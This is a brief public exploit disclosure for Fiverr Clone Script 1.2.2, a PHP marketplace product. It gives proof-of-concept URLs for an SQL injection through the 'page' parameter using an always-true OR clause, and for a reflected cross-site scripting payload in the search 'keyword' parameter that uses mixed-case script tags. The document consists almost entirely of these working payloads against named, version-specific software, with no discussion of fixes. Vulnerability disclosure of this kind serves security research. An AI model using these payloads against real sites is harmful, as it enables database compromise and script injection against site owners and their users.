Fiverr Clone Script 1.2.2 - SQL Injection / Cross-Site Scripting

# Exploit Title: Fiverr Clone Script 1.2.2 - SQL Injection / Cross Site Scripting
# Exploit Author: Mr Winst0n
# Author E-mail: [email protected]
# Discovery Date: Apr 1, 2019
# Vendor Homepage: https://www.phpscriptsmall.com
# Software Link : https://www.phpscriptsmall.com/product/fiverr-clone-script/
# Tested Version: 1.2.2
# Tested on: Kali linux, Windows 8.1 


# PoC:

# http://localhost/?page=[SQLi]
# http://localhost/search-results.php?category=[Category id]&subcategory=[Subcategory id]&keyword=[XSS]

# http://localhost/?page=2%20%27%20OR%201%20=%201%20--
# http://localhost/search-results.php?category=32&subcategory=63&keyword=<ScrIpt>alert(1)</sCrIpT>&project_search=#